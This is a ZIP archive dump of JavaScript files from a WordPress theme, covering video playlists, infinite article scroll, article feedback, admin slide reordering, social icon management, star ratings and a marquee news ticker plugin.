                  })
              } else {
                $thisFrame.playVideo()
              }

              $thisFrame.css('visibility', 'visible').fadeIn()

              PENCI.VideosList.updateStatus($blockVideo)

            })
          })
        },
        updateStatus: function ($blockVideo) {
          $blockVideo.find('.penci-video-frame').each(function () {
            var $this = $(this),
              $videoItem = $('[data-name=\'' + $this.attr('id') + '\']')

            $this.addVideoEvent('play', function () {
              $videoItem.removeClass('is-paused').addClass('is-playing')
            })

            $this.addVideoEvent('pause', function () {
              $videoItem.removeClass('is-playing').addClass('is-paused')
            })

            $this.addVideoEvent('finish', function () {
              $videoItem.removeClass('is-paused is-playing')
            })
          })
        },
      },

      PENCI.JumtoRecipe = function () {

        $('.penci-jump-recipe').on('click', function (e) {
          e.preventDefault()
          var $closetMain = $(this).closest('.penci-single-block'),
            id = $(this).attr('href'),
            $firstRecipe = $closetMain.find(id).first()
          if ($firstRecipe.length) {
            var $scroll_top = $firstRecipe.offset().top,
              $nav_height = 30
            if ($('#navigation').length) {
              $nav_height = $('#navigation').height() + 30
            } else if ($('.pc-wrapbuilder-header').length) {
              if (window.matchMedia('(max-width: 960px)').matches) {
                var headermobile = $('.penci_navbar_mobile')
                if (!headermobile.hasClass('hide-scroll-down')) {
                  $nav_height = headermobile.height() + 30
                }
              } else {
                var headerdesktop = $('.penci_builder_sticky_header_desktop')
                if (headerdesktop.length &&
                  !headerdesktop.hasClass('hide-scroll-down')) {
                  $nav_height = headerdesktop.height() + 30
                }
              }
            }
            if ($('body').hasClass('admin-bar')) {
              $nav_height = $nav_height + 32
            }
            var $scroll_to = $scroll_top - $nav_height
            $('html,body').animate({
              scrollTop: $scroll_to,
            }, 'fast')
          }
        })
      },

      PENCI.DelayedContent = function () {
        $(document).on('mousemove scroll click', function(event) {
          $('.pc-content-delayed').each( function(e) {
            var t = $(this),
                d = t.attr('data-type') ? t.attr('data-type') : '',
                u = t.attr('data-url') ? t.attr('data-url') : '',
                c = t.attr('data-class') ? t.attr('data-class') : '',
                id = t.attr('data-id') ? t.attr('data-id') : '',
                s = t.attr('data-settings') ? t.attr('data-settings') : '',
                save_name = ('pcdelayed_' + d + id + c).toLowerCase();

            if ( ! t.hasClass('loaded') ) {
              t.addClass('loaded')
              if ( localStorage.getItem( save_name ) ) {
                t.after( localStorage.getItem( save_name ) )
                t.remove()
              } else {

                if ( u ) {
                  $.ajax({
                    type: "GET",
                    url: u,
                    success: function (response) {
                      t.after( response )
                      t.remove()
                      localStorage.setItem( save_name, response );
                    }
                  })
                } else {
                  $.ajax({
                    type: "POST",
                    dataType: 'JSON',
                    url: ajax_var_more.url,
                    data: {
                      type: d,
                      class: c,
                      id: id,
                      settings: s,
                      action: 'penci_delayed_div_content',
                    },
                    success: function (response) {
                      t.after( response.data.html )
                      t.remove()
                      localStorage.setItem( save_name, response.data.html );
                    }
                  })
                }
              }
              
            }

            $(document).trigger('penci-mega-loaded')
            
          })
        })
      },

      /* Smart Lists
    ---------------------------------------------------------------*/
      PENCI.SmartLists = function () {
        $('.pcsml-dropdown').each(function () {
          var select = $(this)
          select.on('change', function () {
            var url = this.value,
              curl = window.location.href

            if (url != curl && url !== undefined) {
              window.location.href = url
            }
          })
        })
      },

      PENCI.Single_Loadmore = function () {
        var $wrapper_loadmore = $('.penci-single-infiscroll')
        if ($wrapper_loadmore.length) {
          var adsHTML = $wrapper_loadmore.data('infiads')
          $(window).on('scroll', $.debounce(250, function () {
            var $lastArticle = $wrapper_loadmore.find('.penci-single-block').
                last(),
              $windowScroll = $(window).scrollTop(),
              $lastArticleTop = $lastArticle.offset().top,
              $dataURL = $lastArticle.data('prev-url')

            if ($lastArticle.hasClass('penci-single-infiblock-end')) {
              $('.penci-ldsingle').remove()
            }

            if ((
                $windowScroll > $lastArticleTop
              ) &&
              (
                typeof $dataURL !== 'undefined'
              ) && (
                typeof $dataURL !== ''
              ) &&
              !$lastArticle.hasClass('penci-single-infiblock-end')) {
              if (!$wrapper_loadmore.hasClass('penci-disable-sendajax')) {
                $wrapper_loadmore.addClass('penci-disable-sendajax')
                $.ajax({
                  url: $dataURL,
                  type: 'GET',
                  dataType: 'html',
                  success: function (result) {
                    var resultBlock = $(
                      $(result).find('.penci-single-wrapper').html()).
                      css('opacity', 0).
                      animate({ 'opacity': 1 }, 300)
                    if ((
                        typeof adsHTML !== 'undefined'
                      ) &&
                      (
                        typeof adsHTML !== ''
                      )) {
                      $wrapper_loadmore.append(adsHTML)
                    }
                    $wrapper_loadmore.append(resultBlock)
                    if (resultBlock.find('.penci_facebook_widget').length) {
                      try {
                        FB.XFBML.parse()
                      } catch (ex) {
                      }
                    }
                    $wrapper_loadmore.removeClass('penci-disable-sendajax')

                    PENCI.featured_slider()
                    PENCI.owl_slider()
                    PENCI.fitvids()
                    PENCI.sticky_sidebar()
                    PENCI.lightbox()
                    PENCI.masonry()
                    PENCI.portfolio()
                    PENCI.AjaxPortfolio()
                    PENCI.gallery()
                    PENCI.Jarallax()
                    PENCI.extraFunction.init()
                    PENCI.VideosList.init()
                    PENCI.JumtoRecipe()
                    PENCI.shareexpand()
                    PENCI.videofloat()

                    var $review_process = $('.penci-review-process'),
                      $review_piechart = $('.penci-piechart')
                    if ($review_process.length) {
                      $('.penci-review-process').each(function () {
                        var $this = $(this),
                          $bar = $this.children(),
                          $bar_w = $bar.data('width') * 10
                        $this.one('inview',
                          function (event, isInView, visiblePartX,
                            visiblePartY,
                          ) {
                            $bar.animate({ width: $bar_w + '%' }, 1000)
                          }) // bind inview
                      }) // each
                    }

                    if ($review_piechart.length) {
                      $('.penci-piechart').each(function () {
                        var $this = $(this)
                        $this.one('inview',
                          function (event, isInView, visiblePartX,
                            visiblePartY,
                          ) {
                            var chart_args = {
                              barColor: $this.data('color'),
                              trackColor: $this.data('trackcolor'),
                              scaleColor: false,
                              lineWidth: $this.data('thickness'),
                              size: $this.data('size'),
                              animate: 1000,
                            }
                            $this.easyPieChart(chart_args)
                          }) // bind inview
                      }) // each
                    }
                    $('body').trigger('single_loaded_more')
                  },
                })
              }
            }
          }))

          $(window).bind('scroll touchstart', function () {
            // UPdate permalink
            var scrollTop = $(this).scrollTop()
            var firstPost = $('.penci-single-block')
            window.setTimeout(function () {
              var preScrollTop = scrollTop + 60
              var postsContainer = $('.penci-single-block')
              var locationHref = window.location.href

              var currentP = postsContainer.map(function () {
                if ($(this).offset().top < preScrollTop) {
                  return this
                }
              })

              currentP = currentP[currentP.length - 1]
              var pid = $(currentP).data('postid'),
                plink = $(currentP).data('current-url'),
                ptitle = $(currentP).data('post-title'),
                pedit = $(currentP).data('edit-post')

              if (typeof pid === 'undefined' || typeof pid === '') {
                pid = firstPost.data('postid')
                plink = firstPost.data('current-url')
                ptitle = firstPost.data('post-title')
                pedit = firstPost.data('edit-post')
              }

              if (locationHref !== plink) {
                window.history.pushState({ 'pageTitle': ptitle }, '', plink)
                if ($('#wpadminbar').length) {
                  $('#wp-admin-bar-edit a').attr('href', pedit)
                }
                if ($('title').length) {
                  $('title').each(function () {
                    $(this).text(ptitle)
                  })
                }

                if (typeof _gaq !== 'undefined' && _gaq !== null) {
                  _gaq.push(['_trackPageview', plink])
                }

                if (typeof ga !== 'undefined' && ga !== null) {
                  ga('send', 'pageview', plink)
                }
              }

            }, 100)
          })
        }
      }

    /* Init functions
 ---------------------------------------------------------------*/
    $(document).ready(function () {
      PENCI.general()
      PENCI.rdatetime()
      PENCI.cookie()
      PENCI.main_sticky()
      PENCI.featured_slider()
      PENCI.slick_slider()
      PENCI.owl_slider()
      PENCI.fitvids()
      PENCI.sticky_sidebar()
      PENCI.mega_menu()
      PENCI.mobile_menu()
      PENCI.toggleMenuHumburger()
      PENCI.ElementorHumburger()
      PENCI.lightbox()
      PENCI.masonry()
      PENCI.video_background()
      PENCI.portfolio()
      PENCI.AjaxPortfolio()
      PENCI.gallery()
      PENCI.Jarallax()
      PENCI.RelatedPopup()
      PENCI.extraFunction.init()
      PENCI.VideosList.init()
      PENCI.JumtoRecipe()
      PENCI.Single_Loadmore()
      PENCI.fontsizeChanger()
      setTimeout(function () {
        PENCI.shareexpand()
        PENCI.fontsizeChanger()
      }, 100)
      PENCI.categories_lists()
      PENCI.blockheadinglist()
      PENCI.SmartLists()
      PENCI.videofloat()
      PENCI.DelayedContent()
      if( /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent) ) {
        PENCI.mobile_ajax_menu()
      }
      $('body').on('penci-ajax-menu-loaded', function(){
        PENCI.mega_menu()
      })
      $('body').on('penci-block-heading', function () {
        PENCI.blockheadinglist()
      }).on('penci-image-gallery', function () {
        PENCI.slick_slider()
      })
      $('body').on('el_featured_slider', function () {
        PENCI.slick_slider()
        PENCI.featured_slider()
        PENCI.owl_slider()
      })
      $('body').on('slider-load', function () {
        PENCI.owl_slider()
      })
      $('body').on('penci_swiper_sliders', function () {
        PENCI.owl_slider()
        PENCI.slick_slider()
      })
      $(document).on('pajax-tab-loaded', function () {
        PENCI.owl_slider()
      })
      $(window).on('resize', function () {
        PENCI.sticky_sidebar()
        PENCI.blockheadinglist()
        PENCI.fontsizeChanger()
        PENCI.videofloat()
        PENCI.mobile_ajax_menu()
        setTimeout(function () {
          PENCI.shareexpand()
        }, 100)
      })
      $(window).on('scroll', function () {
        PENCI.fontsizeChanger()
      })
      $(document).on('penci-mega-loaded', function () {
        PENCI.featured_slider()
        PENCI.owl_slider()
        PENCI.fitvids()
        PENCI.lightbox()
        PENCI.masonry()
        PENCI.portfolio()
        PENCI.AjaxPortfolio()
        PENCI.gallery()
        PENCI.extraFunction.init()
        PENCI.VideosList.init()
      })
    })
  }
)(jQuery)	// EOF
PK     N\0      js/feedback.jsnu [        (function ($) {
    "use strict";

    // Handle feedback click
    $(".penci-article-feedback span").on("click", function () {
        const $this = $(this);
        const value = parseInt($this.attr("data-value"), 10);
        const postID = $(".penci-article-feedback").attr("data-post-id");
        const thankYouMessage = $(".penci-article-feedback").attr("data-thank-text");
        const feedbackContainer = $this.closest(".penci-article-feedback");

        // Prevent sending AJAX if feedback already submitted
        if (getCookie(`penci_afb_${postID}`) || feedbackContainer.hasClass("penci-afb-disabled")) {
            return false;
        }

        // Send AJAX request
        $.ajax({
            url: `/wp-json/article_feedback/v1/feedback/${postID}`,
            method: "POST",
            contentType: "application/json",
            data: JSON.stringify({
                id: postID,
                value: value,
            }),
            success: function ( response ) {
                setCookie(`penci_afb_${postID}`, "1");
                $('.penci-afb-title').html(thankYouMessage);
                feedbackContainer.find('.penci-afb-count-yes').html(response.yes);
                feedbackContainer.find('.penci-afb-count-no').html(response.no);
            },
            error: function (xhr) {
                console.error("Feedback submission failed:", xhr.responseText);
            },
        });

        // Disable feedback and show thank-you message
        setTimeout(() => {
            feedbackContainer.addClass("penci-afb-disabled");
        }, 20);
    });

    // Set a cookie
    function setCookie(name, value) {
        const date = new Date();
        date.setTime(date.getTime() + 365 * 24 * 60 * 60 * 1000); // 1 year
        document.cookie = `${name}=${value || ""}; expires=${date.toUTCString()}; path=/`;
    }

    // Get a cookie
    function getCookie(name) {
        const nameEQ = `${name}=`;
        const cookies = document.cookie.split(";");
        for (let cookie of cookies) {
            cookie = cookie.trim();
            if (cookie.indexOf(nameEQ) === 0) {
                return cookie.substring(nameEQ.length);
            }
        }
        return null;
    }
})(jQuery);PK     N\

jq  q    js/reorder.jsnu [        jQuery(function ($) {
  $('tr.type-penci_slider').parent().sortable({
    axis: 'y',
    placeholder: 'ui-state-highlight',
    forcePlaceholderSize: true,
    update: function (event, ui) {
      var theOrder = $(this).sortable('toArray')
      var nonce = $(this).
        closest('form#posts-filter').
        children('#_wpnonce').
        attr('value')
      var data = {
        action: 'penci_update_slide_order',
        postType: 'penci_slider',
        order: theOrder,
        penci_meta_box_nonce: nonce,
      }

      $.post(ajaxurl, data)
    },
  }).disableSelection()

  //shifty fix for the title column header in the home slider section
  if ($('td.post-title').parent().hasClass('type-penci_slider')) {
    $('th#title, th.column-title').html('<span>Actions</span>')
  }

  // ORDER

  // Only show the "remove image" button when needed
  if (!jQuery('#penci_categories_thumbnail_id').val()) {
    jQuery('.remove_image_button').hide()
  }

  // Uploading files
  var file_frame

  jQuery(document).on('click', '.penci-add-icon', function (event) {
    event.preventDefault()

    // If the media frame already exists, reopen it.
    if (file_frame) {
      file_frame.open()
      return
    }

    // Create the media frame.
    file_frame = wp.media.frames.downloadable_file = wp.media({
      title: 'Choose an image',
      button: {
        text: 'Use image',
      },
      multiple: false,
    })

    // When an image is selected, run a callback.
    file_frame.on('select', function () {
      var attachment = file_frame.state().get('selection').first().toJSON()
      var attachment_thumbnail =
        attachment.sizes.thumbnail || attachment.sizes.full

      jQuery('.penci-icon-id').val(attachment.id)
      jQuery('.penci-placeholder-img').attr('src', attachment_thumbnail.url)
      jQuery('.remove_image_button').show()
    })

    // Finally, open the modal.
    file_frame.open()
  })

  jQuery(document).ajaxComplete(function (event, request, options) {
    if (
      request &&
      4 === request.readyState &&
      200 === request.status &&
      options.data &&
      0 <= options.data.indexOf('action=add-tag')
    ) {
      var res = wpAjax.parseAjaxResponse(request.responseXML, 'ajax-response')
      if (!res || res.errors) {
        return
      }
      // Clear Thumbnail fields on submit
      jQuery('.penci-placeholder-img').attr(
        'src',
        jQuery('.penci-placeholder-img').attr('data-placeholder'),
      )
      return
    }
  })
});

(function ($) {
  var add_custom_social = function () {
    var _eventRunning = false

    function notify (msg, type) {
      $('.penci-notice').
        html(msg).
        removeClass('notice-success notice-info notice-error').
        addClass('notice-' + type).
        show()
    }

    $(document).on(
      'click',
      '.penci-add-social, .penci-remove-social',
      function (e) {
        e.preventDefault()

        var $el = $(this),
          form = $el.closest('form'),
          type = $el.data('type'),
          nonce = $('[name="penci_ajax_processor_nonce"]').val(),
          urlField = form.find('[name="social_url"]'),
          iconField = form.find('[name="penci-icon-id"]'),
          nameField = form.find('[name="social_name"]'),
          colorField = form.find('[name="social_color"]'),
          name = $el.data('name'),
          spinner = $('.penci-wrapper').find('.spinner'),
          table = $('#penci-table'),
          action_name,
          answer = ''

        if ('add' == type) {
          action_name = 'soledad_add_social'

          var name = nameField.val(),
            icon = iconField.val(),
            color = colorField.val(),
            url = urlField.val()

          if ('' == name || '' == icon || '' == url) {
            notify('Please fill all require fields', 'error')
            return
          }
        } else if ('remove' == type) {
          action_name = 'soledad_remove_social'
          name = $el.data('slug')

          answer = confirm('Do you want to remove social "' + name + '"?')

          if (!answer) return
        }

        // if running
        if (_eventRunning) return

        _eventRunning = true

        spinner.fadeIn(function () {
          $(this).addClass('is-active')
        })

        var dataSend = {
          action: action_name,
          type: type,
          _wpnonce: nonce,
          name: name,
          icon: icon,
          url: url,
          color: color,
        }

        // Ajax call
        $.ajax({
          type: 'POST',
          url: ajaxurl,
          data: dataSend,

          success: function (response) {
            // SUCCESS ADDED
            if (response.success && 'add' == response.data.type) {
              // clear fields
              nameField.val('')
              iconField.val('')
              urlField.val('')
              colorField.val('')
              $('.penci-placeholder-img').attr(
                'src',
                $('.penci-placeholder-img').attr('data-placeholder'),
              )

              table.append(
                "<tr><td>" +
                  response.data.name +
                  "</td><td>" +
                  response.data.url +
                  "</td><td>" +
                  response.data.img +
                  '</td><td><span aria-label="' +
                  response.data.color +
                  '" class="social-colors-init" style="background-color: ' +
                  response.data.color +
                  ';"></span></td><td><button class="button button-small penci-remove-social" data-type="remove" data-slug="' +
                  response.data.id +
                  '">Delete</button></td></tr>'
              );

              // remove no social row
              var no_social_tr = table.find('tr.no-social-tr')
              if (no_social_tr.length) no_social_tr.remove()

              notify(response.data.message, 'success')

              // SUCCESS REMOVED
            } else if (response.success && 'remove' == response.data.type) {
              $el.closest('tr').remove()

              notify(response.data.message, 'success')
            } else if ('error' == response.data.type) {
              notify(response.data.message, 'error')
            }

            spinner.fadeOut(function () {
              $(this).removeClass('is-active')
            })

            _eventRunning = false
          },
        })
      },
    ) // on click action
  }
  add_custom_social()
})(jQuery)
PK     N\۠K      js/reviews.jsnu [        (function($){
	$(document ).ready(function(){
		var $rates = $('#add_comment_rating_wrap'),
			path = $rates.data('assets_path' ),
			default_rating = 4;

		if ( typeof $('#add_post_rating').attr('data-pccm_rating') !== 'undefined' ) {
			default_rating = $('#add_post_rating').attr('data-pccm_rating');
		}

		$rates.raty({
			half: false,
			target : '#add_post_rating',
			hints: '',
			path: path,
			targetKeep : true,
			//targetType : 'score',
			targetType : 'hint',
			//precision  : true,
			score: default_rating,
			scoreName: 'pccm_rating',
			click: function(rating, evt) {
				$('#add_post_rating' ).val( '' + rating );
				$('#add_post_rating option[value="' + rating + '"]' ).attr( 'selected', 'selected' );
			},
			starType : 'i'
		});

		$('.review_rate' ).raty({
			readOnly: true,
			target : this,
			half: false,
			starType : 'i',
			score: function() {
				return $(this).attr('data-pccm_rating');
			},
			scoreName: 'pccm_rating'
		});
	});
})(jQuery);PK     N\+%'  '    js/penci-marquee.jsnu [        (function(factory){"use strict";if(typeof define==="function"&&define.amd){define(["jquery"],factory)}else if(typeof exports!=="undefined"){module.exports=factory(require("jquery"))}else{factory(jQuery)}})(function($){$.fn.marquee=function(options){return this.each(function(){var o=$.extend({},$.fn.marquee.defaults,options),$this=$(this),$marqueeWrapper,containerWidth,animationCss,verticalDir,elWidth,loopCount=3,playState="animation-play-state",css3AnimationIsSupported=false,_prefixedEvent=function(element,type,callback){var pfx=["webkit","moz","MS","o",""];for(var p=0;p<pfx.length;p++){if(!pfx[p])type=type.toLowerCase();element.addEventListener(pfx[p]+type,callback,false)}},_objToString=function(obj){var tabjson=[];for(var p in obj){if(obj.hasOwnProperty(p)){tabjson.push(p+":"+obj[p])}}tabjson.push();return"{"+tabjson.join(",")+"}"},_startAnimationWithDelay=function(){$this.timer=setTimeout(animate,o.delayBeforeStart)},methods={pause:function(){if(css3AnimationIsSupported&&o.allowCss3Support){$marqueeWrapper.css(playState,"paused")}else{if($.fn.pause){$marqueeWrapper.pause()}}$this.data("runningStatus","paused");$this.trigger("paused")},resume:function(){if(css3AnimationIsSupported&&o.allowCss3Support){$marqueeWrapper.css(playState,"running")}else{if($.fn.resume){$marqueeWrapper.resume()}}$this.data("runningStatus","resumed");$this.trigger("resumed")},toggle:function(){methods[$this.data("runningStatus")==="resumed"?"pause":"resume"]()},destroy:function(){clearTimeout($this.timer);$this.find("*").addBack().off();$this.html($this.find(".js-marquee:first").html())}};if(typeof options==="string"){if($.isFunction(methods[options])){if(!$marqueeWrapper){$marqueeWrapper=$this.find(".js-marquee-wrapper")}if($this.data("css3AnimationIsSupported")===true){css3AnimationIsSupported=true}methods[options]()}return}var dataAttributes={},attr;$.each(o,function(key){attr=$this.attr("data-"+key);if(typeof attr!=="undefined"){switch(attr){case"true":attr=true;break;case"false":attr=false;break}o[key]=attr}});if(o.speed){o.duration=parseInt($this.width(),10)/o.speed*1e3}verticalDir=o.direction==="up"||o.direction==="down";o.gap=o.duplicated?parseInt(o.gap):0;$this.wrapInner('<div class="js-marquee"></div>');var $el=$this.find(".js-marquee").css({"margin-right":o.gap,float:"left"});if(o.duplicated){$el.clone(true).appendTo($this)}$this.wrapInner('<div style="width:100000px" class="js-marquee-wrapper"></div>');$marqueeWrapper=$this.find(".js-marquee-wrapper");if(verticalDir){var containerHeight=$this.height();$marqueeWrapper.removeAttr("style");$this.height(containerHeight);$this.find(".js-marquee").css({float:"none","margin-bottom":o.gap,"margin-right":0});if(o.duplicated){$this.find(".js-marquee:last").css({"margin-bottom":0})}var elHeight=$this.find(".js-marquee:first").height()+o.gap;if(o.startVisible&&!o.duplicated){o._completeDuration=(parseInt(elHeight,10)+parseInt(containerHeight,10))/parseInt(containerHeight,10)*o.duration;o.duration=parseInt(elHeight,10)/parseInt(containerHeight,10)*o.duration}else{o.duration=(parseInt(elHeight,10)+parseInt(containerHeight,10))/parseInt(containerHeight,10)*o.duration}}else{elWidth=$this.find(".js-marquee:first").width()+o.gap;containerWidth=$this.width();if(o.startVisible&&!o.duplicated){o._completeDuration=(parseInt(elWidth,10)+parseInt(containerWidth,10))/parseInt(containerWidth,10)*o.duration;o.duration=parseInt(elWidth,10)/parseInt(containerWidth,10)*o.duration}else{o.duration=(parseInt(elWidth,10)+parseInt(containerWidth,10))/parseInt(containerWidth,10)*o.duration}}if(o.duplicated){o.duration=o.duration/2}if(o.allowCss3Support){var elm=document.body||document.createElement("div"),animationName="marqueeAnimation-"+Math.floor(Math.random()*1e7),domPrefixes="Webkit Moz O ms Khtml".split(" "),animationString="animation",animationCss3Str="",keyframeString="";if(elm.style.animation!==undefined){keyframeString="@keyframes "+animationName+" ";css3AnimationIsSupported=true}if(css3AnimationIsSupported===false){for(var i=0;i<domPrefixes.length;i++){if(elm.style[domPrefixes[i]+"AnimationName"]!==undefined){var prefix="-"+domPrefixes[i].toLowerCase()+"-";animationString=prefix+animationString;playState=prefix+playState;keyframeString="@"+prefix+"keyframes "+animationName+" ";css3AnimationIsSupported=true;break}}}if(css3AnimationIsSupported){animationCss3Str=animationName+" "+o.duration/1e3+"s "+o.delayBeforeStart/1e3+"s infinite "+o.css3easing;$this.data("css3AnimationIsSupported",true)}}var _rePositionVertically=function(){$marqueeWrapper.css("transform","translateY("+(o.direction==="up"?containerHeight+"px":"-"+elHeight+"px")+")")},_rePositionHorizontally=function(){$marqueeWrapper.css("transform","translateX("+(o.direction==="left"?containerWidth+"px":"-"+elWidth+"px")+")")};if(o.duplicated){if(verticalDir){if(o.startVisible){$marqueeWrapper.css("transform","translateY(0)")}else{$marqueeWrapper.css("transform","translateY("+(o.direction==="up"?containerHeight+"px":"-"+(elHeight*2-o.gap)+"px")+")")}}else{if(o.startVisible){$marqueeWrapper.css("transform","translateX(0)")}else{$marqueeWrapper.css("transform","translateX("+(o.direction==="left"?containerWidth+"px":"-"+(elWidth*2-o.gap)+"px")+")")}}if(!o.startVisible){loopCount=1}}else if(o.startVisible){loopCount=2}else{if(verticalDir){_rePositionVertically()}else{_rePositionHorizontally()}}var animate=function(){if(o.duplicated){if(loopCount===1){o._originalDuration=o.duration;if(verticalDir){o.duration=o.direction==="up"?o.duration+containerHeight/(elHeight/o.duration):o.duration*2}else{o.duration=o.direction==="left"?o.duration+containerWidth/(elWidth/o.duration):o.duration*2}if(animationCss3Str){animationCss3Str=animationName+" "+o.duration/1e3+"s "+o.delayBeforeStart/1e3+"s "+o.css3easing}loopCount++}else if(loopCount===2){o.duration=o._originalDuration;if(animationCss3Str){animationName=animationName+"0";keyframeString=$.trim(keyframeString)+"0 ";animationCss3Str=animationName+" "+o.duration/1e3+"s 0s infinite "+o.css3easing}loopCount++}}if(verticalDir){if(o.duplicated){if(loopCount>2){$marqueeWrapper.css("transform","translateY("+(o.direction==="up"?0:"-"+elHeight+"px")+")")}animationCss={transform:"translateY("+(o.direction==="up"?"-"+elHeight+"px":0)+")"}}else if(o.startVisible){if(loopCount===2){if(animationCss3Str){animationCss3Str=animationName+" "+o.duration/1e3+"s "+o.delayBeforeStart/1e3+"s "+o.css3easing}animationCss={transform:"translateY("+(o.direction==="up"?"-"+elHeight+"px":containerHeight+"px")+")"};loopCount++}else if(loopCount===3){o.duration=o._completeDuration;if(animationCss3Str){animationName=animationName+"0";keyframeString=$.trim(keyframeString)+"0 ";animationCss3Str=animationName+" "+o.duration/1e3+"s 0s infinite "+o.css3easing}_rePositionVertically()}}else{_rePositionVertically();animationCss={transform:"translateY("+(o.direction==="up"?"-"+$marqueeWrapper.height()+"px":containerHeight+"px")+")"}}}else{if(o.duplicated){if(loopCount>2){$marqueeWrapper.css("transform","translateX("+(o.direction==="left"?0:"-"+elWidth+"px")+")")}animationCss={transform:"translateX("+(o.direction==="left"?"-"+elWidth+"px":0)+")"}}else if(o.startVisible){if(loopCount===2){if(animationCss3Str){animationCss3Str=animationName+" "+o.duration/1e3+"s "+o.delayBeforeStart/1e3+"s "+o.css3easing}animationCss={transform:"translateX("+(o.direction==="left"?"-"+elWidth+"px":containerWidth+"px")+")"};loopCount++}else if(loopCount===3){o.duration=o._completeDuration;if(animationCss3Str){animationName=animationName+"0";keyframeString=$.trim(keyframeString)+"0 ";animationCss3Str=animationName+" "+o.duration/1e3+"s 0s infinite "+o.css3easing}_rePositionHorizontally()}}else{_rePositionHorizontally();animationCss={transform:"translateX("+(o.direction==="left"?"-"+elWidth+"px":containerWidth+"px")+")"}}}$this.trigger("beforeStarting");if(css3AnimationIsSupported){$marqueeWrapper.css(animationString,animationCss3Str);var keyframeCss=keyframeString+" { 100%  "+_objToString(animationCss)+"}",$styles=$marqueeWrapper.find("style");if($styles.length!==0){$styles.filter(":last").html(keyframeCss)}else{$("head").append("<style>"+keyframeCss+"</style>")}_prefixedEvent($marqueeWrapper[0],"AnimationIteration",function(){$this.trigger("finished")});_prefixedEvent($marqueeWrapper[0],"AnimationEnd",function(){animate();$this.trigger("finished")})}else{$marqueeWrapper.animate(animationCss,o.duration,o.easing,function(){$this.trigger("finished");if(o.pauseOnCycle){_startAnimationWithDelay()}else{animate()}})}$this.data("runningStatus","resumed")};$this.on("pause",methods.pause);$this.on("resume",methods.resume);if(o.pauseOnHover){$this.on("mouseenter",methods.pause);$this.on("mouseleave",methods.resume)}if(css3AnimationIsSupported&&o.allowCss3Support){animate()}else{_startAnimationWithDelay()}})};$.fn.marquee.defaults={allowCss3Support:true,css3easing:"linear",easing:"linear",delayBeforeStart:1e3,direction:"left",duplicated:false,duration:5e3,speed:0,gap:20,pauseOnCycle:false,pauseOnHover:false,startVisible:false}});

(function ($) {
    "use strict";
    var ELMARQUEE = ELMARQUEE || {};

    ELMARQUEE.general = function () {     
        $('.pcmarquee-slider .swiper-wrapper').each( function(){
            var t = $(this);

            if ( ! t.find('.js-marquee-wrapper').length ) {
                t.marquee({
                    speed: 50,
                    gap: 30,
                    delayBeforeStart: 0,
                    direction: $('body').hasClass('rtl') ? 'right' : 'left',
                    duplicated: true,
                    pauseOnHover: true,
                    startVisible: true,
                });
            }
        });
        return false;
    }

    $(window).on('elementor/frontend/init', function () {
        if ( window.elementorFrontend && window.elementorFrontend.isEditMode() ) {

            elementorFrontend.hooks.addAction('frontend/element_ready/penci-news-ticker.default', function ($scope) {
                ELMARQUEE.general();
            });
            
        }
    });

	$(document).ready(function () {
        ELMARQUEE.general();
    });

})(jQuery);	// EOFPK     N\      js/jquery.plugin.min.jsnu [        /*! Simple JavaScript Inheritance
 * By John Resig http://ejohn.org/
 * MIT Licensed.
 */
!function(){"use strict";var a=!1;window.JQClass=function(){},JQClass.classes={},JQClass.extend=function b(c){function d(){!a&&this._init&&this._init.apply(this,arguments)}var e=this.prototype;a=!0;var f=new this;a=!1;for(var g in c)if("function"==typeof c[g]&&"function"==typeof e[g])f[g]=function(a,b){return function(){var c=this._super;this._super=function(b){return e[a].apply(this,b||[])};var d=b.apply(this,arguments);return this._super=c,d}}(g,c[g]);else if("object"==typeof c[g]&&"object"==typeof e[g]&&"defaultOptions"===g){var h,i=e[g],j=c[g],k={};for(h in i)k[h]=i[h];for(h in j)k[h]=j[h];f[g]=k}else f[g]=c[g];return d.prototype=f,d.prototype.constructor=d,d.extend=b,d}}(),/*! Abstract base class for collection plugins v1.0.2.
	Written by Keith Wood (wood.keith{at}optusnet.com.au) December 2013.
	Licensed under the MIT license (http://keith-wood.name/licence.html). */
function($){"use strict";function camelCase(a){return a.replace(/-([a-z])/g,function(a,b){return b.toUpperCase()})}JQClass.classes.JQPlugin=JQClass.extend({name:"plugin",defaultOptions:{},regionalOptions:{},deepMerge:!0,_getMarker:function(){return"is-"+this.name},_init:function(){$.extend(this.defaultOptions,this.regionalOptions&&this.regionalOptions[""]||{});var a=camelCase(this.name);$[a]=this,$.fn[a]=function(b){var c=Array.prototype.slice.call(arguments,1),d=this,e=this;return this.each(function(){if("string"==typeof b){if("_"===b[0]||!$[a][b])throw"Unknown method: "+b;var f=$[a][b].apply($[a],[this].concat(c));if(f!==d&&void 0!==f)return e=f,!1}else $[a]._attach(this,b)}),e}},setDefaults:function(a){$.extend(this.defaultOptions,a||{})},_attach:function(a,b){if(a=$(a),!a.hasClass(this._getMarker())){a.addClass(this._getMarker()),b=$.extend(this.deepMerge,{},this.defaultOptions,this._getMetadata(a),b||{});var c=$.extend({name:this.name,elem:a,options:b},this._instSettings(a,b));a.data(this.name,c),this._postAttach(a,c),this.option(a,b)}},_instSettings:function(a,b){return{}},_postAttach:function(a,b){},_getMetadata:function(elem){try{var data=elem.data(this.name.toLowerCase())||"";data=data.replace(/(\\?)'/g,function(a,b){return b?"'":'"'}).replace(/([a-zA-Z0-9]+):/g,function(a,b,c){var d=data.substring(0,c).match(/"/g);return d&&d.length%2!==0?b+":":'"'+b+'":'}).replace(/\\:/g,":"),data=JSON.parse("{"+data+"}");for(var key in data)if(data.hasOwnProperty(key)){var value=data[key];"string"==typeof value&&value.match(/^new Date\(([-0-9,\s]*)\)$/)&&(data[key]=eval(value))}return data}catch(a){return{}}},_getInst:function(a){return $(a).data(this.name)||{}},option:function(a,b,c){a=$(a);var d=a.data(this.name),e=b||{};return!b||"string"==typeof b&&"undefined"==typeof c?(e=(d||{}).options,e&&b?e[b]:e):void(a.hasClass(this._getMarker())&&("string"==typeof b&&(e={},e[b]=c),this._optionsChanged(a,d,e),$.extend(d.options,e)))},_optionsChanged:function(a,b,c){},destroy:function(a){a=$(a),a.hasClass(this._getMarker())&&(this._preDestroy(a,this._getInst(a)),a.removeData(this.name).removeClass(this._getMarker()))},_preDestroy:function(a,b){}}),$.JQPlugin={createPlugin:function(a,b){"object"==typeof a&&(b=a,a="JQPlugin"),a=camelCase(a);var c=camelCase(b.name);JQClass.classes[c]=JQClass.classes[a].extend(b),new JQClass.classes[c]}}}(jQuery);
PK     N\AN{      js/ajax-filter-terms.jsnu [        /* global penciBlock */
